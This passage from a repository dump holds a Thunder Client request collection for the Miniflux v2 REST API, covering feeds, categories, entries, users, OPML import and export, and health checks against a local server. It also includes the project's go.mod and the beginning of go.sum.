    "content": "{\n    \"client\": \"Thunder Client\",\n    \"collectionName\": \"Miniflux v2\",\n    \"dateExported\": \"2023-07-31T01:53:38.743Z\",\n    \"version\": \"1.1\",\n    \"folders\": [],\n    \"requests\": [\n        {\n            \"_id\": \"d23fb9ba-c0c1-46ff-93f4-c5ed24ecd56e\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Discover Subscriptions\",\n            \"url\": \"/v1/discover\",\n            \"method\": \"POST\",\n            \"sortNum\": 20000,\n            \"created\": \"2023-07-31T01:20:12.275Z\",\n            \"modified\": \"2023-07-31T01:29:39.751Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"body\": {\n                \"type\": \"json\",\n                \"raw\": \"\\n{\\n    \\\"url\\\": \\\"https://miniflux.app/\\\"\\n}\",\n                \"form\": []\n            },\n            \"tests\": []\n        },\n        {\n            \"_id\": \"29cfc679-31d4-4d8c-b843-ab92a74dfa85\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Feeds\",\n            \"url\": \"/v1/feeds\",\n            \"method\": \"GET\",\n            \"sortNum\": 50000,\n            \"created\": \"2023-07-31T01:20:12.276Z\",\n            \"modified\": \"2023-07-31T01:20:12.276Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"52a88df8-41c7-47c2-a635-8c93d7d29f40\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Category Feeds\",\n            \"url\": \"/v1/categories/1/feeds\",\n            \"method\": \"GET\",\n            \"sortNum\": 60000,\n            \"created\": \"2023-07-31T01:20:12.277Z\",\n            \"modified\": \"2023-07-31T01:20:12.277Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"a5c2cb48-a4cf-4edc-a0e0-927d9f711843\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Feed\",\n            \"url\": \"/v1/feeds/{feedID}\",\n            \"method\": \"GET\",\n            \"sortNum\": 70000,\n            \"created\": \"2023-07-31T01:20:12.279Z\",\n            \"modified\": \"2023-07-31T01:31:11.478Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"feedID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"fb55b058-c2ba-4785-be92-a98f0596e86e\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Feed Icon \",\n            \"url\": \"/v1/feeds/{feedID}/icon\",\n            \"method\": \"GET\",\n            \"sortNum\": 80000,\n            \"created\": \"2023-07-31T01:20:12.280Z\",\n            \"modified\": \"2023-07-31T01:31:18.174Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"feedID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"c0ec9a45-263e-4627-a13b-b5df901a6456\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Create Feed \",\n            \"url\": \"/v1/feeds\",\n            \"method\": \"POST\",\n            \"sortNum\": 90000,\n            \"created\": \"2023-07-31T01:20:12.281Z\",\n            \"modified\": \"2023-07-31T01:31:31.415Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"body\": {\n                \"type\": \"json\",\n                \"raw\": \"{\\n    \\\"feed_url\\\": \\\"https://miniflux.app/feed.xml\\\",\\n    \\\"category_id\\\": 1\\n}\",\n                \"form\": []\n            },\n            \"tests\": []\n        },\n        {\n            \"_id\": \"f4c078a2-c031-4753-a7a4-4987439a61d0\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Update Feed\",\n            \"url\": \"/v1/feeds/{feedID}\",\n            \"method\": \"PUT\",\n            \"sortNum\": 100000,\n            \"created\": \"2023-07-31T01:20:12.282Z\",\n            \"modified\": \"2023-07-31T01:31:48.115Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"feedID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                }\n            ],\n            \"body\": {\n                \"type\": \"json\",\n                \"raw\": \"{\\n    \\\"title\\\": \\\"Updated - New Feed Title\\\",\\n    \\\"category_id\\\": 1\\n}\",\n                \"form\": []\n            },\n            \"tests\": []\n        },\n        {\n            \"_id\": \"1e47aeab-09ce-439b-907f-f9347b98b160\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Refresh Feed\",\n            \"url\": \"/v1/feeds/{feedID}/refresh\",\n            \"method\": \"PUT\",\n            \"sortNum\": 110000,\n            \"created\": \"2023-07-31T01:20:12.283Z\",\n            \"modified\": \"2023-07-31T01:31:58.778Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"feedID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"4f643fa6-042d-4e95-8194-4cb0af7102bf\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Refresh All Feeds\",\n            \"url\": \"/v1/feeds/refresh\",\n            \"method\": \"PUT\",\n            \"sortNum\": 115000,\n            \"created\": \"2023-07-31T01:20:12.312Z\",\n            \"modified\": \"2023-07-31T01:20:12.312Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"d829f651-e9b9-41f9-aa9e-bd830d5e6389\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Remove Feed\",\n            \"url\": \"/v1/feeds/{feedID}\",\n            \"method\": \"DELETE\",\n            \"sortNum\": 120000,\n            \"created\": \"2023-07-31T01:20:12.284Z\",\n            \"modified\": \"2023-07-31T01:32:16.723Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"feedID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"deafbf1a-d9e0-420f-a749-1bdde56772cb\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Feed Entries\",\n            \"url\": \"/v1/feeds/{feedID}/entries\",\n            \"method\": \"GET\",\n            \"sortNum\": 130000,\n            \"created\": \"2023-07-31T01:20:12.285Z\",\n            \"modified\": \"2023-07-31T01:32:52.812Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"feedID\",\n                    \"value\": \"2\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"0052e903-75fc-48ec-8fd5-6e8784ed401a\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Entry\",\n            \"url\": \"/v1/entries/{entryID}\",\n            \"method\": \"GET\",\n            \"sortNum\": 140000,\n            \"created\": \"2023-07-31T01:20:12.286Z\",\n            \"modified\": \"2023-07-31T01:33:30.417Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"entryID\",\n                    \"value\": \"19\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"1a055ace-2629-4298-9ea0-1bd17d59a4d6\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Fetch original article\",\n            \"url\": \"/v1/entries/{entryID}/fetch-content\",\n            \"method\": \"GET\",\n            \"sortNum\": 150000,\n            \"created\": \"2023-07-31T01:20:12.287Z\",\n            \"modified\": \"2023-07-31T01:33:41.014Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"entryID\",\n                    \"value\": \"19\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"f272d1e6-ebbb-4c58-a159-4412ad657136\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Category Entries\",\n            \"url\": \"/v1/categories/{categoryID}/entries\",\n            \"method\": \"GET\",\n            \"sortNum\": 160000,\n            \"created\": \"2023-07-31T01:20:12.288Z\",\n            \"modified\": \"2023-07-31T01:20:12.288Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"categoryID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"856ed091-318a-4a76-b7ce-6475106dd6b5\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Mark All Feed Entries as Read\",\n            \"url\": \"/v1/feeds/{feedID}/mark-all-as-read\",\n            \"method\": \"PUT\",\n            \"sortNum\": 180000,\n            \"created\": \"2023-07-31T01:20:12.290Z\",\n            \"modified\": \"2023-07-31T01:46:57.443Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"feedID\",\n                    \"value\": \"2\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"67749962-d646-45d5-8b78-a8eeaa7cb971\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Entries\",\n            \"url\": \"/v1/entries\",\n            \"method\": \"GET\",\n            \"sortNum\": 190000,\n            \"created\": \"2023-07-31T01:20:12.291Z\",\n            \"modified\": \"2023-07-31T01:20:12.291Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"b55ae165-2abe-41f0-8b8a-14d826238d20\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Change Entries Status\",\n            \"url\": \"/v1/entries\",\n            \"method\": \"PUT\",\n            \"sortNum\": 200000,\n            \"created\": \"2023-07-31T01:20:12.292Z\",\n            \"modified\": \"2023-07-31T01:46:46.133Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"body\": {\n                \"type\": \"json\",\n                \"raw\": \"{\\n    \\\"entry_ids\\\": [19, 20],\\n    \\\"status\\\": \\\"read\\\"\\n}\",\n                \"form\": []\n            },\n            \"tests\": []\n        },\n        {\n            \"_id\": \"710dfc55-fc4e-48ab-989e-3ed78019d6c3\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Toggle Entry Bookmark\",\n            \"url\": \"/v1/entries/{entryID}/bookmark\",\n            \"method\": \"PUT\",\n            \"sortNum\": 210000,\n            \"created\": \"2023-07-31T01:20:12.293Z\",\n            \"modified\": \"2023-07-31T01:45:51.933Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"entryID\",\n                    \"value\": \"19\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"19edbe55-0a0a-4102-bde0-73ed6d8515f6\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Save Entry to Third-Party Service\",\n            \"url\": \"/v1/entries/{entryID}/save\",\n            \"method\": \"POST\",\n            \"sortNum\": 215000,\n            \"created\": \"2023-07-31T01:20:12.313Z\",\n            \"modified\": \"2023-07-31T01:20:12.313Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"entryID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"13d2cf52-aa08-4f7f-a83d-ffcb1e1190cd\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Categories\",\n            \"url\": \"/v1/categories\",\n            \"method\": \"GET\",\n            \"sortNum\": 220000,\n            \"created\": \"2023-07-31T01:20:12.294Z\",\n            \"modified\": \"2023-07-31T01:20:12.294Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"1547dabe-2bcb-4e06-acaa-fb393d1027e2\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Create Category \",\n            \"url\": \"/v1/categories\",\n            \"method\": \"POST\",\n            \"sortNum\": 230000,\n            \"created\": \"2023-07-31T01:20:12.295Z\",\n            \"modified\": \"2023-07-31T01:20:12.295Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"body\": {\n                \"type\": \"json\",\n                \"raw\": \"{\\n    \\\"title\\\": \\\"My category\\\"\\n}\",\n                \"form\": []\n            },\n            \"tests\": []\n        },\n        {\n            \"_id\": \"e8dac503-19dc-434d-832f-eac4364785d8\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Update Category\",\n            \"url\": \"/v1/categories/{categoryID}\",\n            \"method\": \"PUT\",\n            \"sortNum\": 232500,\n            \"created\": \"2023-07-31T01:20:12.296Z\",\n            \"modified\": \"2023-07-31T01:42:55.831Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"categoryID\",\n                    \"value\": \"3\",\n                    \"isPath\": true\n                }\n            ],\n            \"body\": {\n                \"type\": \"json\",\n                \"raw\": \"\\n{\\n    \\\"title\\\": \\\"My new title\\\"\\n}\",\n                \"form\": []\n            },\n            \"tests\": []\n        },\n        {\n            \"_id\": \"86d74247-7f12-4a6e-91b3-fad9e7b6b1fb\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Delete Category\",\n            \"url\": \"/v1/categories/{categoryID}\",\n            \"method\": \"DELETE\",\n            \"sortNum\": 235000,\n            \"created\": \"2023-07-31T01:20:12.298Z\",\n            \"modified\": \"2023-07-31T01:44:21.486Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"categoryID\",\n                    \"value\": \"3\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"668dde80-ed03-4fa6-ad2a-9cacd0ec31eb\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Mark Category Entries as Read\",\n            \"url\": \"/v1/categories/{categoryID}/mark-all-as-read\",\n            \"method\": \"PUT\",\n            \"sortNum\": 237500,\n            \"created\": \"2023-07-31T01:20:12.299Z\",\n            \"modified\": \"2023-07-31T01:43:50.637Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"categoryID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"39ada469-765e-4584-ab00-9d263bd526a1\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Category Feeds\",\n            \"url\": \"/v1/categories/{categoryID}/feeds\",\n            \"method\": \"GET\",\n            \"sortNum\": 243750,\n            \"created\": \"2023-07-31T01:50:23.959Z\",\n            \"modified\": \"2023-07-31T01:50:51.443Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"categoryID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"ec389c41-185f-4b57-a373-c6ff952b4282\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Refresh Category Feeds\",\n            \"url\": \"/v1/categories/{categoryID}/refresh\",\n            \"method\": \"PUT\",\n            \"sortNum\": 250000,\n            \"created\": \"2023-07-31T01:20:12.297Z\",\n            \"modified\": \"2023-07-31T01:43:23.102Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"categoryID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"bc4a7578-c95e-4436-bbfa-61ccc4a8fc71\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Category Entries\",\n            \"url\": \"/v1/categories/{categoryID}/entries\",\n            \"method\": \"GET\",\n            \"sortNum\": 257500,\n            \"created\": \"2023-07-31T01:51:15.403Z\",\n            \"modified\": \"2023-07-31T01:51:35.106Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"categoryID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"fa935fb3-3ed6-4ee3-b995-6c054766d109\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Category Entry\",\n            \"url\": \"/v1/categories/{categoryID}/entries/{entryID}\",\n            \"method\": \"GET\",\n            \"sortNum\": 258750,\n            \"created\": \"2023-07-31T01:51:46.699Z\",\n            \"modified\": \"2023-07-31T01:52:12.155Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"categoryID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                },\n                {\n                    \"name\": \"entryID\",\n                    \"value\": \"19\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"cb6968e9-8d13-4410-9ad5-85847b73d7eb\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"OPML Export\",\n            \"url\": \"/v1/export\",\n            \"method\": \"GET\",\n            \"sortNum\": 280000,\n            \"created\": \"2023-07-31T01:20:12.300Z\",\n            \"modified\": \"2023-07-31T01:20:12.300Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"169a64e1-08dd-4760-b405-a748a5286b38\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"OPML Import\",\n            \"url\": \"/v1/import\",\n            \"method\": \"POST\",\n            \"sortNum\": 290000,\n            \"created\": \"2023-07-31T01:20:12.301Z\",\n            \"modified\": \"2023-07-31T01:41:31.218Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"body\": {\n                \"type\": \"xml\",\n                \"raw\": \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n<opml version=\\\"2.0\\\">\\n    <head>\\n        <title>Miniflux</title>\\n        <dateCreated>Sun, 30 Jul 2023 18:41:08 PDT</dateCreated>\\n    </head>\\n    <body>\\n        <outline text=\\\"All\\\">\\n            <outline title=\\\"Miniflux\\\" text=\\\"Miniflux\\\" xmlUrl=\\\"https://miniflux.app/feed.xml\\\" htmlUrl=\\\"https://miniflux.app\\\"></outline>\\n        </outline>\\n    </body>\\n</opml>\",\n                \"form\": []\n            },\n            \"tests\": []\n        },\n        {\n            \"_id\": \"bfb7264a-7b46-49fe-b451-fb6d9b03f0b2\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Create User\",\n            \"url\": \"/v1/users\",\n            \"method\": \"POST\",\n            \"sortNum\": 300000,\n            \"created\": \"2023-07-31T01:20:12.302Z\",\n            \"modified\": \"2023-07-31T01:20:12.302Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"body\": {\n                \"type\": \"json\",\n                \"raw\": \"{\\n    \\\"username\\\": \\\"bob\\\",\\n    \\\"password\\\": \\\"test123\\\",\\n    \\\"is_admin\\\": false\\n}\",\n                \"form\": []\n            },\n            \"tests\": []\n        },\n        {\n            \"_id\": \"93c1dcc2-bf09-4e8e-86ba-0c042147a48f\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Update User\",\n            \"url\": \"/v1/users/{userID}\",\n            \"method\": \"PUT\",\n            \"sortNum\": 310000,\n            \"created\": \"2023-07-31T01:20:12.303Z\",\n            \"modified\": \"2023-07-31T01:40:09.576Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"userID\",\n                    \"value\": \"2\",\n                    \"isPath\": true\n                }\n            ],\n            \"body\": {\n                \"type\": \"json\",\n                \"raw\": \"{\\n    \\\"username\\\": \\\"joe\\\"\\n}\",\n                \"form\": []\n            },\n            \"tests\": []\n        },\n        {\n            \"_id\": \"19cf34c1-eb0a-4442-a682-2e94c4f5e594\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Current User\",\n            \"url\": \"/v1/me\",\n            \"method\": \"GET\",\n            \"sortNum\": 320000,\n            \"created\": \"2023-07-31T01:20:12.304Z\",\n            \"modified\": \"2023-07-31T01:20:12.304Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"4a700f7c-8762-4cab-aab1-2d8066884d69\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get User by ID\",\n            \"url\": \"/v1/users/{userID}\",\n            \"method\": \"GET\",\n            \"sortNum\": 330000,\n            \"created\": \"2023-07-31T01:20:12.305Z\",\n            \"modified\": \"2023-07-31T01:39:38.472Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"userID\",\n                    \"value\": \"1\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"66cb0985-5ed4-4b1e-9029-8605b7f5f74e\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get User by username\",\n            \"url\": \"/v1/users/{username}\",\n            \"method\": \"GET\",\n            \"sortNum\": 335000,\n            \"created\": \"2023-07-31T01:47:53.649Z\",\n            \"modified\": \"2023-07-31T01:48:10.655Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"username\",\n                    \"value\": \"admin\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"3d4b227a-83a2-4d87-a0ed-ce9d5497aea6\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Get Users\",\n            \"url\": \"/v1/users\",\n            \"method\": \"GET\",\n            \"sortNum\": 340000,\n            \"created\": \"2023-07-31T01:20:12.306Z\",\n            \"modified\": \"2023-07-31T01:20:12.306Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"90138dea-799a-4b44-ad68-fce6ec5898a6\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Delete User\",\n            \"url\": \"/v1/users/{userID}\",\n            \"method\": \"DELETE\",\n            \"sortNum\": 350000,\n            \"created\": \"2023-07-31T01:20:12.307Z\",\n            \"modified\": \"2023-07-31T01:40:38.124Z\",\n            \"headers\": [],\n            \"params\": [\n                {\n                    \"name\": \"userID\",\n                    \"value\": \"2\",\n                    \"isPath\": true\n                }\n            ],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"4b3bf7ca-bc55-423b-a3ee-6279c10a0d85\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Fetch Read/Unread Counters\",\n            \"url\": \"/v1/feeds/counters\",\n            \"method\": \"GET\",\n            \"sortNum\": 370000,\n            \"created\": \"2023-07-31T01:20:12.309Z\",\n            \"modified\": \"2023-07-31T01:20:12.309Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"7721682f-31e3-4d71-8df9-02e30e4729d7\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Healthcheck\",\n            \"url\": \"/healthcheck\",\n            \"method\": \"GET\",\n            \"sortNum\": 380000,\n            \"created\": \"2023-07-31T01:20:12.310Z\",\n            \"modified\": \"2023-07-31T01:20:12.310Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"tests\": []\n        },\n        {\n            \"_id\": \"64410254-b17a-43e4-984d-10b9b13c5818\",\n            \"colId\": \"fc35618a-f39f-40a0-a443-d4ae568baa8e\",\n            \"containerId\": \"\",\n            \"name\": \"Version\",\n            \"url\": \"/version\",\n            \"method\": \"GET\",\n            \"sortNum\": 390000,\n            \"created\": \"2023-07-31T01:20:12.311Z\",\n            \"modified\": \"2023-07-31T01:20:12.311Z\",\n            \"headers\": [],\n            \"params\": [],\n            \"tests\": []\n        }\n    ],\n    \"settings\": {\n        \"auth\": {\n            \"type\": \"basic\",\n            \"basic\": {\n                \"username\": \"admin\",\n                \"password\": \"test123\"\n            }\n        },\n        \"options\": {\n            \"baseUrl\": \"http://localhost:8080\"\n        }\n    }\n}"
  },
  {
    "path": "go.mod",
    "content": "module miniflux.app/v2\n\n// +heroku goVersion go1.26\n\nrequire (\n\tgithub.com/PuerkitoBio/goquery v1.12.0\n\tgithub.com/andybalholm/brotli v1.2.0\n\tgithub.com/coreos/go-oidc/v3 v3.17.0\n\tgithub.com/go-webauthn/webauthn v0.16.1\n\tgithub.com/lib/pq v1.12.0\n\tgithub.com/prometheus/client_golang v1.23.2\n\tgithub.com/tdewolff/minify/v2 v2.24.10\n\tgolang.org/x/crypto v0.49.0\n\tgolang.org/x/image v0.37.0\n\tgolang.org/x/net v0.52.0\n\tgolang.org/x/oauth2 v0.36.0\n\tgolang.org/x/term v0.41.0\n\tgolang.org/x/text v0.35.0\n)\n\nrequire (\n\tgithub.com/go-webauthn/x v0.2.2 // indirect\n\tgithub.com/golang-jwt/jwt/v5 v5.3.1 // indirect\n\tgithub.com/google/go-tpm v0.9.8 // indirect\n)\n\nrequire (\n\tgithub.com/andybalholm/cascadia v1.3.3 // indirect\n\tgithub.com/beorn7/perks v1.0.1 // indirect\n\tgithub.com/cespare/xxhash/v2 v2.3.0 // indirect\n\tgithub.com/fxamacker/cbor/v2 v2.9.0 // indirect\n\tgithub.com/go-jose/go-jose/v4 v4.1.3 // indirect\n\tgithub.com/go-viper/mapstructure/v2 v2.5.0 // indirect\n\tgithub.com/google/uuid v1.6.0 // indirect\n\tgithub.com/kr/text v0.2.0 // indirect\n\tgithub.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect\n\tgithub.com/prometheus/client_model v0.6.2 // indirect\n\tgithub.com/prometheus/common v0.66.1 // indirect\n\tgithub.com/prometheus/procfs v0.16.1 // indirect\n\tgithub.com/tdewolff/parse/v2 v2.8.10 // indirect\n\tgithub.com/x448/float16 v0.8.4 // indirect\n\tgo.yaml.in/yaml/v2 v2.4.2 // indirect\n\tgolang.org/x/sys v0.42.0 // indirect\n\tgoogle.golang.org/protobuf v1.36.8 // indirect\n)\n\ngo 1.26.0\n"
  },
  {
    "path": "go.sum",
    "content": "github.com/PuerkitoBio/goquery v1.12.0 h1:pAcL4g3WRXekcB9AU/y1mbKez2dbY2AajVhtkO8RIBo=\ngithub.com/PuerkitoBio/goquery v1.12.0/go.mod h1:802ej+gV2y7bbIhOIoPY5sT183ZW0YFofScC4q/hIpQ=\ngithub.com/andybalholm/brotli v1.2.0 h1:ukwgCxwYrmACq68yiUqwIWnGY0cTPox/M94sVwToPjQ=\ngithub.com/andybalholm/brotli v1.2.0/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=\ngithub.com/andybalholm/cascadia v1.3.3 h1:AG2YHrzJIm4BZ19iwJ/DAua6Btl3IwJX+VI4kktS1LM=\ngithub.com/andybalholm/cascadia v1.3.3/go.mod h1:xNd9bqTn98Ln4DwST8/nG+H0yuB8Hmgu1YHNnWw0GeA=\ngithub.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=\ngithub.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=\ngithub.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=\ngithub.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=\ngithub.com/coreos/go-oidc/v3 v3.17.0 h1:hWBGaQfbi0iVviX4ibC7bk8OKT5qNr4klBaCHVNvehc=\ngithub.com/coreos/go-oidc/v3 v3.17.0/go.mod h1:wqPbKFrVnE90vty060SB40FCJ8fTHTxSwyXJqZH+sI8=\ngithub.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=\ngithub.com/davecgh/go-spew v1.1.1 